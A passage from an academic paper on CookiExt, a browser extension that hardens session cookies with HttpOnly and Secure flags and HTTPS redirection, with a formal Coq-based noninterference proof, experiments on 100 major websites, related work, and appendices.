web developer and never downgrades explicit HTTPS links to HTTP. Moreover, the fallback
mechanism cannot be exploited by an active network attacker, since it relies on an HTTPS
response by the website, which is explicitly asking to run the session over HTTP: websites which
perform this choice cannot be secured at the client side against network attackers.
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4.2.3. Supporting Sub-domains
Cookies registered by a website like www.yahoo.com can be set for .yahoo.com, which in-

structs the browser to attach them to any request sent to a sub-domain of yahoo.com, like
mail.yahoo.com. We refer to these cookies as domain cookies.
If a website relies on HTTP requests to a sub-domain for session tracking, a naive imple-

mentation of CookiExt could break it. Assume, in fact, that the website registers over HTTPS
a domain cookie to authenticate the user: CookiExt will mark the cookie as Secure and the
browser will not send it to the sub-domain, since any request sent to the latter is transmitted
over HTTP. In our implementation, whenever a domain cookie is identified as a session cookie,
we enforce a redirection over HTTPS also for any sub-domain of the website. If a sub-domain
does not provide full HTTPS support, we remove the Secure flag from the domain cookie and
we adopt a fallback to HTTP for that sub-domain.

4.2.4. Custom Redirection Rules
CookiExt supports simple custom redirection rules in the spirit of HTTPS Everywhere [34],

which allow one to directly reroute any request to a given HTTP URL towards a corresponding
HTTPS URL before the browser actually sends an HTTP request. These rules can be used also
to encode specific exceptions to the standard security policy applied by CookiExt, that is, to
specify HTTP links which must not be upgraded to HTTPS.
Custom redirection rules may be useful for two reasons. First, some websites that do not

transparently support HTTPS may still provide their corresponding encrypted version on a
di↵erent domain, hence a custom redirection rule would allow one to extend the protection
o↵ered by CookiExt also to these websites [34]. Second, a custom redirection rule could be
helpful to encode explicit exceptions to the standard behaviour whenever CookiExt is preventing
a website from working correctly, e.g., to specify that specific sub-domains can only be accessed
over HTTP, since they do not support HTTPS at all.

4.2.5. Implementation Details
The Google Chrome extension architecture requires to structure any extension in a number

of di↵erent components, including zero or more content scripts and at most one background
page [5]. Content scripts run with no privilege, but for the ability to communicate with the
background page, and can be injected into downloaded web pages to interact with them; the
background page, conversely, may request powerful privileges to the browser upon installation,
but runs isolated from untrusted web contents.
Our extension consists of a content script and a background page. The content script is injected

in any web page and it is used to detect the presence of login forms. This feature is implemented
with a simple heuristic: roughly, when a form including a password field is detected on the page,
a listener for later login attempts is registered by the extension [13]. The listener is used to
check the protocol used for the password-based authentication step, so as to apply the most
appropriate security policy on the received session cookies.
The background page requests and uses the following permissions:

– cookies, to access the cookie jar of the browser, which is needed to downgrade cookies
which have been secured by the extension whether a fallback to HTTP was detected;

– tabs, to detect the login attempts from any tab opened by the browser;
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– storage, to keep track of simple state information. For each domain, the extension tracks
the name of the secured cookies, whether HTTPS redirection should be performed and
whether a fallback to HTTP has been requested in the past;

– webRequest and webRequestBlocking, to upgrade HTTP to HTTPS when needed and to
access the cookies of incoming responses. The blocking behaviour of webRequest is impor-
tant to ensure that HTTP requests are correctly upgraded to HTTPS before a network
request is composed by the browser;

– hosts permissions http://*/* and https://*/*, to apply the security policy to any page.

5. Soundness of CookiExt

Careful readers will argue that our noninterference result, Theorem 1, predicates on (a Coq
model of) a standard web browser rather than on a web browser extended with CookiExt, and
consequently provides no information about the soundness of CookiExt. The gap is only apparent,
however, as CookiExt does not really alter the browser behaviour, but rather activates existing
protection mechanisms available in standard web browsers. Indeed, one may view CookiExt just
as a filter that applies a stricter flagging to all input events, de facto enforcing the similarity
condition on the input streams that constitutes the hypothesis of the noninterference definition:
we now formalize this intuition and prove the soundness of CookiExt by establishing a new
noninterference result which captures the presence of this filter.

5.1. Preliminaries

We first observe that the behaviour of CookiExt is stateful, i.e., our extension dynamically
updates an internal database to keep track of which cookies have been secured, which requests
should be upgraded to HTTPS and which websites should fallback to HTTP. Moreover, a web
browser patched with CookiExt may generate additional network tra�c with respect to a stan-
dard web browser, since a redirection from HTTPS to HTTP may be triggered by an unsuc-
cessful attempt to upgrade the session to HTTPS. On the other hand, we also observe that
these dynamic aspects are not very relevant from a security perspective, since in the new design
of the extension any choice of adopting a fallback to HTTP ultimately depends on an explicit
redirection from HTTPS to HTTP sent by the website, which cannot be crafted by a network
attacker, since it is sent over an encrypted connection. Notice that any website which explicitly
downgrades HTTPS requests to HTTP as part of its standard functionality cannot be secured
against an active network attacker by working at the client side (without breaking the session).
Also, it is worth noticing that the HTTPS redirection performed by CookiExt is only needed

to preserve client usability, rather than to enforce additional security. Indeed, if a non-Secure
cookie was granted the Secure flag by the extension, but no HTTPS redirection was performed,
the cookie would not be sent to the server and the session would be broken, but still the cookie
would not be leaked to the attacker, since it would not leave the browser. Hence, an explicit
HTTPS redirection is not needed to establish the revised noninterference result in this section
and we are able to prove a general property which holds true even assuming that no HTTPS
redirection step is performed. Since reactive noninterference predicates over all the possible input
streams, the proof implicitly covers the case where all the links which should be upgraded to
HTTPS by CookiExt are indeed served over HTTPS.
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Based on the two observations above, it is possible to define the semantics of CookiExt just in
terms of a stateless translation from input events to “more secure” input events: this makes the
soundness proof simpler, modular and more elegant.

5.2. Formal Interpretation of CookiExt

Let U be the universe of URLs navigated by the user in the past using a browser patched
with CookiExt: we assume that the on-going session spans over a subset of U and we stipulate
that U is partitioned into two subsets Uh and Us of known, working HTTP / HTTPS URLs
respectively. For any url 2 U , we let urls stand for the URL obtained from url by setting its
protocol to HTTPS. We let S be the set of the domains with full HTTPS support, i.e., we let:

S = {d 2 D | 8url 2 Uh : url.domain = d ) urls 2 Us}.

We define the semantics of CookiExt with a translation J·KU : I ! I, which models CookiExt
setting stricter protection flags for incoming (session) cookies. Given a network response resp

received from a network connection ncid, we define the e↵ect of cookie upgrading through the
relation ncid ` resp % U = respu, where respu is obtained from resp by setting the Secure and
HttpOnly flags to each cookie in resp.set cookies if ncid.url.domain 2 S, and by setting just
the HttpOnly flag otherwise. In words, the HttpOnly flag is always applied, while the Secure
flag is set only for cookies registered by websites with full HTTPS support.
The relation JiKU = i

0 is then defined by the following inference rules:

ncid ` resp % U = respu

Jnet resp(ncid , resp)KU = net resp(ncid , respu)

i has a di↵erent form

JiKU = i

We extend the translation above from single input events to arbitrary input streams, by
applying it pointwise to each stream component.

5.3. Extending the Noninterference Result

To generalize our noninterference result to a web browser patched with CookiExt, we introduce
a new similarity relation ⇡

+

l for input events, defined as follows.

Definition 10 (Extended Input Similarity). Let ⇡+

l be the similarity relation over input events
defined by the following inference rules:

(SI-Net+)

in erase+l (resp) = in erase+l (resp
0)

net resp(ncid , resp) ⇡+

l net resp(ncid , resp0)

(SI-Refl+)

i ⇡
+

l i

where in erase+l (resp) is obtained from resp by erasing from resp.set cookies the value and the
flags of any cookie c such that ck label+(c) 6v l, with:

ck label+(c) =

(
https(d) if c.domain = d ^ (d 2 S _ c.secure = true)

http(d) if c.domain = d ^ (d /2 S ^ c.secure = false).
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Intuitively, i ⇡+

l i
0 if and only if i and i

0 are syntactically equal, except for the cookies which are
protected by CookiExt against an attacker at level l. The most interesting point in the definition
is that even websites which do not belong to S can be protected against network attackers,
provided that they explicitly set the Secure flag for their session cookies. This is not required
for websites in S, since CookiExt automatically applies both flags to their cookies.
We now observe that the relation ⇡

+

l deems as similar much more inputs than ⇡l for any l,
hence it can be leveraged to prove a stronger noninterference result. It is easy to find two input
events i, i

0 such that i ⇡
+

l i
0, but i 6⇡l i

0: for instance, let i, i
0 be two document responses over

HTTP from d, whose only di↵erence is that i sets the HttpOnly flag on its cookies, while i0 does
not. In this case, for a web attacker l = http(d0) on a di↵erent domain d

0, we have i ⇡
+

l i
0, but

i 6⇡l i
0; a similar reasoning applies to the HTTPS case.

To show that ⇡
+

l is actually larger than ⇡l, we first observe that the two relations coincide
on user input events. As to network events, where the two relations di↵er, we notice that i ⇡l i

0

implies that both i, i
0 come from the same URL: this is enough to prove the following result.

Lemma 1. If i ⇡l i
0, then i ⇡

+

l i
0.

Proof. By a case analysis on the structure of i.

In the end, we conclude that the relation ⇡
+

l is larger than ⇡l for any l: as a consequence,
showing noninterference with respect to ⇡+

l rather than ⇡l provides stronger security guarantees.
Let now EFF+ be the browser model obtained from EFF (the browser model in Section 3)

by applying the translation JiKU to any input event i before processing it. We show that EFF+

enforces reactive noninterference with respect to the new input similarity ⇡
+

l . The key to prove
the extended noninterference result is the following lemma.

Lemma 2. If I ⇡
+

l I
0, then JIKU ⇡l JI 0KU .

Proof. By induction on the derivation of I ⇡
+

l I
0.

Finally, we can prove the main result of this section.

Theorem 2 (Noninterference for CookiExt). EFF+ is noninterferent with respect to ⇡
+

l .

Proof. Let I ⇡
+

l I
0, then by Lemma 2 we know that JIKU ⇡l JI 0KU . Let EFFinit be the ini-

tial state of the original EFF model, then by Theorem 1 we know that EFFinit(JIKU ) ) O

and EFFinit(JI 0KU ) ) O
0 imply O ⇡l O

0. Now let EFF+

init be the initial state of EFF+, by
construction we have EFF+

init(I) ) O and EFF+

init(I
0) ) O

0, hence we conclude.

6. Experiments

The e↵ectiveness of CookiExt critically depends on the accuracy of the heuristic for session
cookie detection. On the one hand, false negatives lead to failures at protecting the session
cookies of vulnerable websites. On the other hand, false positives may hinder the usability of the
browser: for instance, if a cookie containing information about the screen resolution is improperly
flagged as HttpOnly by our extension, no script will be able to access it and the website may be
rendered poorly. Here, we analyse the additional protection enabled by CookiExt, as well as its
impact on the user experience. We anticipate that we find the experimental results particularly
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encouraging, since the limited issues we encountered do not really depend on the design choices
behind CookiExt, but only on the session cookie identification heuristic, which can be improved
by using more sophisticated machine learning techniques devised in parallel work [13].

6.1. Methodology

In our previous work [11], we performed a small scale experiment with CookiExt by logging into
the top 20 websites from the Alexa ranking where we owned a personal account. Here, we extend
our experiments and we make them far more systematic. For this purpose, we created personal
accounts on the top 100 websites from Alexa which provide a private area. After authenticating
to each website, we performed an in-depth navigation to collect network data and evaluate the
user experience. We restricted the data collection to the website of interest to make the analysis
more precise: for instance, we ignored third-party cookies and cross-domain requests.
Overall, we collected a total of 733 cookies registered through HTTP(S) headers: 303 of them

were marked as session cookies by our heuristics. For each session cookie we kept track of the
original flags, as well as of the new flags which were assigned to it by CookiExt. We also analysed
more than 32K HTTP(S) requests to verify whether the idea of redirecting them to HTTPS was
successful or not on real websites.

6.2. Evaluating Protection

Table 4 shows the original flags assigned to the session cookies registered by the websites we
considered in our experiments. These data are more precise than those in Section 4, since they
have been collected after authenticating to the websites and navigating them. Notice however
that they confirm a worrying lack of protection: more than half (58.1%) of the session cookies
we found have no security flag set and can be potentially stolen by web and/or network attacks.

Table 4

Original session cookie flags

HttpOnly Secure #cookies Percentage

yes yes 48 15.8%

yes no 66 21.8%

no yes 13 4.3%

no no 176 58.1%

To evaluate the protection that CookiExt provides, we compared the original flags of the cookies
received through HTTP(S) headers with the new flags which are set by our extension. Table 5
details which additional flags have been granted by CookiExt with respect to the original website
behaviour on a standard web browser.
The table clearly highlights the improvement in protection. For instance, 92 session cookies

(30.4%) were originally completely unprotected, while they can be secured against both web
threats and network attacks. We also notice that 97 cookies (32.0%) can be protected at least
against XSS attacks, while 19 cookies (6.3%) were originally protected against web attacks, but
they can be e↵ectively secured also against network threats. As a side-note to the table, we
observe that 23 session cookies were originally marked as both HttpOnly and Secure by the
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Table 5

Secured session cookies

HttpOnly Secure #cookies Percentage

* * 92 30.4%

* 97 32.0%

* 19 6.3%

95 31.3%

extension, but they have been eventually downgraded to HttpOnly when navigating the website
to keep the session alive: these cookies are included in the second row of the table.
To understand the impact of CookiExt in terms of successful HTTPS redirections, we logged

any redirection attempt performed by our extension. The results are summarized in Table 6,
where we discriminate based on the request type.

Table 6

Redirected requests

Type Total Redirected Success Percentage

Pages 1344 322 166 51.5%

Resources 31278 158 154 97.5%

In our experiments we navigated 1344 pages and we overall identified 322 HTTPS redirection
attempts, among which 166 (51.5%) were successful: this suggests that many websites do not
provide their pages over HTTPS, even though HTTPS support is actually available. Given the
poor deployment of the Secure flag, we argue that these data highlight that many major websites
do not provide a satisfactory level of protection for network attacks against web authentication.
We also logged 158 HTTPS redirection attempts for sub-resources, like images or scripts, with

only 4 failed redirections. Interestingly, 138 (87.3%) of these redirected requests were sent from
the website www.fifa.com. The low number of sub-resource redirections highlights that web
developers (except for a single website) normally do not include sub-resources in clear from the
same website if the page is delivered over HTTPS: this is a sensible practice, since otherwise the
sub-resource requests in clear may void the security provided by the HTTPS page.

6.3. Website-level Analysis

One may wonder how e↵ective CookiExt is at fully protecting vulnerable websites. Indeed,
all the numbers above are aggregated over di↵erent websites, hence they provide only partial
information about the improvement in protection enabled by the extension: for instance, a
successful redirection to HTTPS for a page of a website is useless when another page of the
same website can only be accessed over HTTP and forces session cookies to be sent in clear.
Based on this insight, we further investigated the numbers in Table 6 and we found that,

with the use of CookiExt, 10 out of 34 (29.4%) mixed content websites can be entirely navigated
over HTTPS: for each such website, at least one HTTP request was successfully redirected to
HTTPS and no redirection failed. These websites benefit the most of CookiExt, since they can
be completely secured against network attacks at the client side.
To further evaluate the security improvement granted by CookiExt, for each of the 100 websites

we considered, we deleted from the browser all the cookies which had been identified as session
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cookies by our extension: a logout implies that all the real session cookies had been identified
by the heuristic. In 90 out of 100 cases we logged out, which indicates that most of the times
the heuristic over-approximated the set of session cookies correctly.

6.4. Evaluating Usability

The only way to understand the practical impact of the false positives of the heuristics is
by testing and hands-on experience with the extension. In our experiments with CookiExt, our
most serious concern was about the web session being broken by the security policy applied
by the extension. This major usability problem never occurred in practice, but we noticed that
some minor features of three websites (www.facebook.com, www.gmail.com and www.fifa.com)
were disabled. For example, the user chat in www.facebook.com and the email deletion in
www.gmail.com were not working. After further investigation, we found that all these problems
were due to CookiExt improperly marking some cookies as HttpOnly, making them inaccessible
to a legitimate access by JavaScript. These issues are readily rectified by including explicit excep-
tions to the security policy of CookiExt, which implements a button to deactivate the application
of the HttpOnly flag for websites which are not working correctly.
Apart from our experiments on the top 100 websites, we performed another empirical evalua-

tion of the extension by having a small set of users install CookiExt on their browsers and navi-
gate the Web, trying to find out usability issues and general limitations while performing stan-
dard operations on websites where they own a personal account. We asked our users to navigate
each website as deep as possible, trying to fully exercise the website functionalities to identify
visible usability issues. The feedback given by the users was very important to refine the original
implementation and make it work in practice: with our latest implementation of CookiExt, no
major complaint has been reported at the time of writing, even though some users have been
noticing a slight performance degradation when activating the extension. This does not seem
an inherent shortcoming of the extension design, but rather the typical slowdown introduced by
HTTPS communication with respect to plain HTTP.

7. Related Work

7.1. Browser-side Protection Mechanisms

The idea of enforcing security at the browser side is certainly not new: below, we focus on a
detailed comparison with the works which share direct similarities with our present proposal.
SessionShield [28] is a lightweight protection mechanism against session hijacking. Session-

Shield acts as a proxy between the browser and the network: incoming session cookies are
stripped out from HTTP headers and stored in an external database; on later HTTP requests,
the database is queried using the domain of the request as the key, and all the retrieved session
cookies are attached to the outgoing request. We find the design of SessionShield very competent
and we borrowed the idea of relying on a heuristic to identify session cookies in our implementa-
tion. On the other hand, SessionShield does not enforce any protection against network attacks
and does not support HTTPS, since it is deployed as a stand-alone personal proxy external to
the browser. The idea of identifying session cookies through a heuristic and selectively applying
the HttpOnly flag to them has also been advocated in Zan [33], a browser-based solution aimed
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at protecting legacy web applications against di↵erent attacks. Similarly to SessionShield, Zan
does not implement any protection mechanism against network attackers, which instead is a
distinctive (and challenging) aspect of our proposal.
Another particularly relevant client-side defense is HTTPS Everywhere [34]. This is a browser

extension which enforces communication with many major websites to happen only over HTTPS.
The tool also o↵ers support for setting the Secure flag of known session cookies at the client side.
Unfortunately, HTTPS Everywhere does not enforce any protection against XSS attacks, hence
it does not implement complete safeguards for session cookies. Moreover, the tool entirely relies
on a white-list of known websites both for redirecting network tra�c over HTTPS and to identify
session cookies to be set as Secure, an approach which does not scale in practice and fails at
protecting websites not included in the whitelist. On the other hand, based on our experimental
evaluation, it seems that the adoption of a white-list is occasionally useful to deal with some
subtle cases where CookiExt does not properly work: finding the best trade-o↵ between the two
approaches is an interesting avenue for future research. Similar design choices and considerations
apply to ForceHTTPS [20], a proposal aimed at protecting high-security websites from network
attacks, which was later refined into the standard browser security policy HSTS.
We remark that both our theory and implementation just focus on the confidentiality of session

cookies, which is a necessary precondition for thwarting the risks of session hijacking. However,
several serious security threats against web sessions do not follow by confidentiality violations:
for instance, classic CSRF vulnerabilities should rather be interpreted in terms of attacks on
request integrity [23]. Several existing browser-based defenses mitigate the risk of other attacks
against web sessions [32,31,30,27,10]. In a recent paper, we consider a strong definition of web
session integrity and we discuss its browser-side enforcement [12].

7.2. Protecting against Session Hijacking

Session hijacking is surely the most dangerous threat against web sessions and researchers have
proposed a number of di↵erent solutions against it. One-time cookies [15] use a session key and a
HMAC construction to tie a unique authentication token to each request sent by the browser, so
that the theft of a token does no harm, since it cannot be used to authenticate di↵erent requests.
This is a good approach, since it tackles the root problem of session hijacking, but it requires
web developers to implement a new session establishment protocol. Similarly, BetterAuth [22]
is a novel authentication protocol for web applications, which aims at being secure by design,
most notably by dispensing with the need of adopting cookies for authentication. A less invasive
solution to the same problem is based on origin-bound certificates [16], which propose a small
extension to the TLS protocol which allows browsers to establish strong authenticated channels
with remote servers, by binding cookies only to these channels. Using origin-bound certificates,
cookies can still be stolen, but they are of no use to an attacker.
Session hijacking can also be performed by fixating cookies known to the adversary in the

user’s browser before the initial password-based authentication step, e.g., by exploiting an XSS
vulnerability on the target website. If the target website does not refresh its cookies when the
privilege level of the session changes, i.e., when the user submits her password, the session will be
identified by a cookie chosen by the attacker, thus allowing him to impersonate the user at the
website. Session fixation has been extensively studied by Johns et al. [21], who proposed di↵erent
server-side solutions to the problem. At the browser side, session fixation can be prevented by
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Serene [32], a browser extension which keeps track of the session cookies registered through
HTTP(S) headers and consequently strips from outgoing HTTP(S) requests any cookie which
has not been seen before by the extension, thus preventing session cookies set by a script from
reaching the target website and being used for authentication purposes.

7.3. Formal Methods for Web Security

The importance of applying formal techniques to web security has been first recognised in a
seminal paper by Akhawe et al. [1]. The work proposes a rigorous formalization of standard web
concepts (browsers, servers, network messages...), a clear threat model and a precise specification
of its security goals. The model is implemented in Alloy and applied to several case studies,
exposing concrete attacks on web security mechanisms. Unfortunately, the bounded verification
performed in Alloy is e↵ective at finding attacks, but it fails at proving a security mechanism
correct, which is what we are able to do in our work by relying on the Coq proof assistant.
A more recent research paper by Bansal et al. [3] introduces WebSpi, a ProVerif library

which provides an applied pi-calculus encoding of a number of web features, including browsers,
servers and a configurable threat model. The authors rely on the WebSpi library to perform an
unbounded verification of several configurations of the OAuth authorization protocol through
ProVerif, identifying some previously unknown attacks on authentication. Though interesting,
the WebSpi library is much more abstract than Featherweight Firefox and not as easily extensible
to include additional web features, since these must be encoded in the applied pi-calculus;
moreover, ProVerif is a very powerful tool, but it still su↵ers from scalability and termination
problems, which may potentially hinder other security analyses.
The Featherweight Firefox model has been proposed in [8] as a “blank slate” for researching

new security policies and mechanisms for the browser. The original formulation consists of an
executable Ocaml model, which includes most of the features of the later Coq implementation [7].
The paper does not discuss any specific security property or application, and it just focuses on
presenting the main features of the Featherweight Firefox model.

7.4. Reactive Noninterference

The theory of reactive noninterference has been first developed by Bohannon et al. [9]. Aaron
Bohannon’s doctoral dissertation [7] provides a mechanized proof of noninterference for a Coq
implementation of the original Featherweight Firefox model [8] extended with a number of
dynamic checks aimed at preventing information leakage. The considered information flow policy
prevents cross-origin communication. In the present work we partially leverage the existing
proof architecture to carry out our formal development, though we target a completely di↵erent
information flow policy (for session cookie security).
Independently from Bohannon’s work, Bielova et al. [6] proposed an extension of the Feath-

erweight Firefox model to enforce reactive noninterference through a dynamic technique known
as secure multi-execution. In later work, De Groef et al. [19] built on this approach to develop
FlowFox, a full-fledged web browser implementing fine-grained information flow control.
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8. Conclusion

We have provided a formal view of web session security in terms of reactive noninterference
and we showed that the protection mechanisms available in modern web browsers are e↵ective
at enforcing this notion. On the other hand, our practical experience highlighted that many
web developers still fail at adequately protecting session cookies, hence we proposed CookiExt, a
client-side solution aimed at taming existing security flaws. Our experiments show that CookiExt
is very e↵ective at protecting vulnerable websites against session hijacking without sacrificing
the user experience.
We imagine di↵erent directions for future work. First, we would like to further refine our

formal model, to include additional concrete details which were initially left out from our study
for the sake of simplicity; most notably, we would like to include sub-domains and domain
cookies. Moreover, we plan to replace the current heuristic for session cookie detection with a
more sophisticated solution based on machine learning techniques [13] to further improve the
protection and the usability of our extension.
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Appendix

A. Coq Implementation of the Cookie Flags

We present the Coq implementation of the HttpOnly and the Secure flags. When a script
needs to access the cookie jar, it invokes the function get site cookies httponly given below.
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Definition get_site_cookies_httponly (u: url) (ckm: CookieMap.t cookie_flags_value)
: StringMap.t String.t :=
match u with
| blank_url => StringMap.empty
| http_s_url prot d ru =>
CookieMap.fold

(fun cki ck zm =>
if cki.(cookie_id_domain) =?= d

&& cki.(cookie_id_path) =?= ru.(req_uri_path)
&& !ck.(cookie_flags_value_httponly)

then StringMap.add cki.(cookie_id_key) ck.(cookie_flags_value_value) zm
else zm)
ckm
StringMap.empty

end.

The function takes the source URL of the page where the script is running and the cookie jar
as the input and returns all the non-HttpOnly cookies in the jar as a mapping (StringMap.t
String.t) of name-value pairs. The implementation uses the Coq function fold, which applies a
function to each element of the cookie jar and accumulates the results (in our case, a name-value
mapping). The body of the function passed to the fold matches the domain and the path of
the URL with the domain and the path of each cookie in the jar. If a match is found and the
HttpOnly flag is not set, the cookie is added to the accumulator.
As to the Secure flag, its implementation is shown in the function get site cookies given

below, which is invoked when composing HTTP(S) requests.

Definition get_site_cookies (u: url) (ckm: CookieMap.t cookie_flags_value)
: StringMap.t String.t :=

match u with
| blank_url => StringMap.empty
| http_s_url prot d ru =>

if prot =?= about_protocol
then StringMap.empty
else

CookieMap.fold
(fun cki ck zm =>

if (cki.(cookie_id_domain) =?= d
&& cki.(cookie_id_path) =?= ru.(req_uri_path)
&& !(prot =?= http_protocol && ck.(cookie_flags_value_secure)) )

then StringMap.add cki.(cookie_id_key) ck.(cookie_flags_value_value) zm
else zm)

ckm
StringMap.empty

end.

The function takes the destination URL of the HTTP(S) request and the cookie jar as the
input and returns all the cookies which must be attached to the request. Specifically, the function
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passed as an argument to the fold ensures that, whenever the protocol is HTTP and the Secure
flag is set, the cookie is not attached to the network request.

B. Noninterference Proof

Following previous work [9,6], we prove our main result through an unwinding lemma, which
provides a coinductive proof technique for reactive noninterference. However, we depart from
previous proposals by developing a variant of the existing unwinding lemma based on a lockstep
unwinding relation.

Definition 11 (Lockstep Unwinding Relation). We define a lockstep unwinding relation on a
reactive system as a label-indexed family of binary relations on states (written 'l) with the
following properties:

1. if Q 'l Q
0, then Q

0
'l Q;

2. if C 'l C
0 and C

i
�! P and C

0 i0
�! P

0 and i ⇡l i
0 and visible l(i) and visible l(i0), then

P 'l P
0;

3. if C 'l C
0 and ¬visible l(i) and C

i
�! P , then P 'l C

0;
4. if P 'l C and P

o
�! Q, then ¬visible l(o) and Q 'l C;

5. if P 'l P
0, then for any o, o

0
, Q,Q

0 such that P
o
�! Q and P

0 o0
�! Q

0 we have Q 'l Q
0,

provided that either (i) o ⇡l o
0; or (ii) ¬visible l(o) and ¬visible l(o0).

With respect to the original definition of unwinding relation, the main di↵erence is in the last
clause, where we require two related producer states to proceed in a lockstep fashion, even when
they emit invisible output events. We can show that exhibiting a lockstep unwinding relation
on the initial state of a reactive system is enough to prove noninterference.

Lemma 3 (Unwinding). If Q 'l Q for all l, then Q is noninterferent.

Proof. (Sketch) We show by coinduction that Q 'l Q
0 implies Q ⇠l Q

0 for all l, where ⇠l is
an unwinding relation according to the definition in Aaron Bohannon’s dissertation [7]. Then,
the result follows by the main theorem therein, showing that, if Q ⇠l Q for all l, then Q is
noninterferent.

By relying on a lockstep unwinding relation rather than on a standard unwinding relation, we
can dramatically simplify the definition of the witness required by our proof technique and the
proof itself, as we discuss below.
The browser state b in Featherweight Firefox is represented by a tuple, which contains several

data structures modelling open windows, loaded pages, cookies, open network connections and
a bunch of additional information needed for the browser to operate. We identify the set of
consumer states with the space state generated by instantiating the set of these data structures
in all possible ways. We then define producer states by pairing a consumer state b with a task
list t: this list keeps track of the script expressions that the browser must evaluate before it can
accept another input. State transitions are defined by the FF implementation: intuitively, the
browser starts its execution in a consumer state and each input event fed to it will initialize the
task list in a di↵erent way. Processing the task list moves the browser across producer states
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(possibly adding new tasks): when the task list is empty, the browser moves back to a consumer
state and can process the next input.
To prove noninterference, we define our candidate lockstep unwinding relation '

B
l as follows:

(B-Cons)

erase l(b) = erase l(b
0)

b '
B
l b

0

(B-Prod)

b '
B
l b

0

(b, t) 'B
l (b0, t)

where erase l(b) is obtained from b by erasing from its cookie store the value of every cookie c

with ck label(c) 6v l. We then show that '
B
l is indeed a lockstep unwinding relation and that

binit '
B
l binit for all l, where binit is the initial state of the Featherweight Firefox model. By

Lemma 3, this implies that the browser model is noninterferent. As a technical note, we point
out that 'B

l is not itself an unwinding relation according to the definition in [7]. On the other
hand, it is a lockstep unwinding relation, which is enough for our present needs.


